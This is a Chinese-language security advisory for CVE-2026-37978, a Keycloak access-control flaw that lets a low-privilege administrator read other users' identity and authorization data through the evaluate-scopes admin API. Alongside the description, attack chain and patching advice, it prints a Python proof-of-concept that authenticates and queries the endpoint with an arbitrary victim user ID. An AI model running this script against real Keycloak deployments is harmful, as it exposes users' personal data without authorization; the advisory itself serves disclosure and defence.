IPBUF安全漏洞报告
English
CVE-2026-37978 CVSS 4.9 中危

CVE-2026-37978 Keycloak跨角色PII信息泄露漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-37978
漏洞类型
信息泄露
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

信息泄露Keycloak权限绕过PII泄露CWE-200

漏洞概述

Keycloak存在一个安全缺陷,拥有'view-clients'角色的低权限管理员可以通过调用'evaluate-scopes'管理API端点并传入任意用户ID(userId)参数来利用此漏洞。该漏洞允许跨角色的个人身份信息(PII)泄露,使得攻击者能够未经授权地查看领域内的用户身份和授权信息。利用此漏洞需要网络访问管理API,且攻击者必须拥有管理员账户,但权限要求较低。

技术细节

该漏洞源于Keycloak管理API中的访问控制逻辑缺陷。具体而言,当管理员调用用于评估客户端范围的`evaluate-scopes`接口时,系统未严格校验请求参数中的`userId`是否属于当前管理员有权管理的范围。攻击者只需具备基础的'view-clients'权限,即可通过构造特定的HTTP请求,将`userId`参数替换为目标受害者的ID。由于API在处理时直接接受了该参数并返回了与该用户相关的详细授权范围和身份信息,这导致了权限旁路。攻击者可以利用此机制遍历系统中的所有用户ID,从而获取跨角色的敏感数据,破坏了系统内部的隔离原则。尽管攻击需要管理员身份,但由于权限门槛较低,使得内部威胁或低权限管理员账号泄露后的风险显著增加。

攻击链分析

STEP 1
步骤1
攻击者获取拥有'view-clients'角色的低权限管理员账号凭证。
STEP 2
步骤2
攻击者使用该凭证登录Keycloak管理控制台或直接调用Admin API获取访问令牌。
STEP 3
步骤3
攻击者构造向'evaluate-scopes'端点的HTTP请求,并在参数中注入想要查询的任意目标用户ID。
STEP 4
步骤4
服务器返回目标用户的详细权限范围和个人身份信息,攻击者成功获取跨角色的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Keycloak CVE-2026-37978 POC # Description: Leaks PII via evaluate-scopes API with arbitrary userId target_url = "http://keycloak.example.com/auth/admin/realms/master" username = "low_priv_admin" password = "password" client_id = "admin-cli" # 1. Authenticate as low-privilege admin auth_url = f"{target_url}/protocol/openid-connect/token" data = { "client_id": client_id, "username": username, "password": password, "grant_type": "password" } session = requests.post(auth_url, data=data) if session.status_code != 200: print("Authentication failed") exit(1) token = session.json().get("access_token") headers = {"Authorization": f"Bearer {token}"} # 2. Exploit: Call evaluate-scopes with an arbitrary userId # The vulnerability allows specifying any user ID (victim's ID) # even if the admin only has 'view-clients' role. client_uuid = "target-client-uuid" arbitrary_user_id = "victim-user-uuid" # ID of the user to impersonate/leak # Endpoint may vary slightly based on Keycloak version, typically involves scope mapping evaluation exploit_url = f"{target_url}/clients/{client_uuid}/evaluate-scopes/scope-mappings" # Passing the arbitrary userId in query parameters or body depending on specific API behavior params = {"userId": arbitrary_user_id} response = requests.get(exploit_url, headers=headers, params=params) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print(f"[+] Leaked Data for User {arbitrary_user_id}:") print(response.json()) else: print("[-] Exploit failed or endpoint not reachable")

影响范围

Keycloak (具体受影响版本请参考厂商公告RHSA-2026:19596)

防御指南

临时缓解措施
建议立即应用官方发布的安全补丁(如RHSA-2026:19596)。在无法立即升级的情况下,应审查并撤销非必要账户的'view-clients'权限,并密切监控管理API的访问日志,检测是否存在针对evaluate-scopes接口的异常查询或参数遍历行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表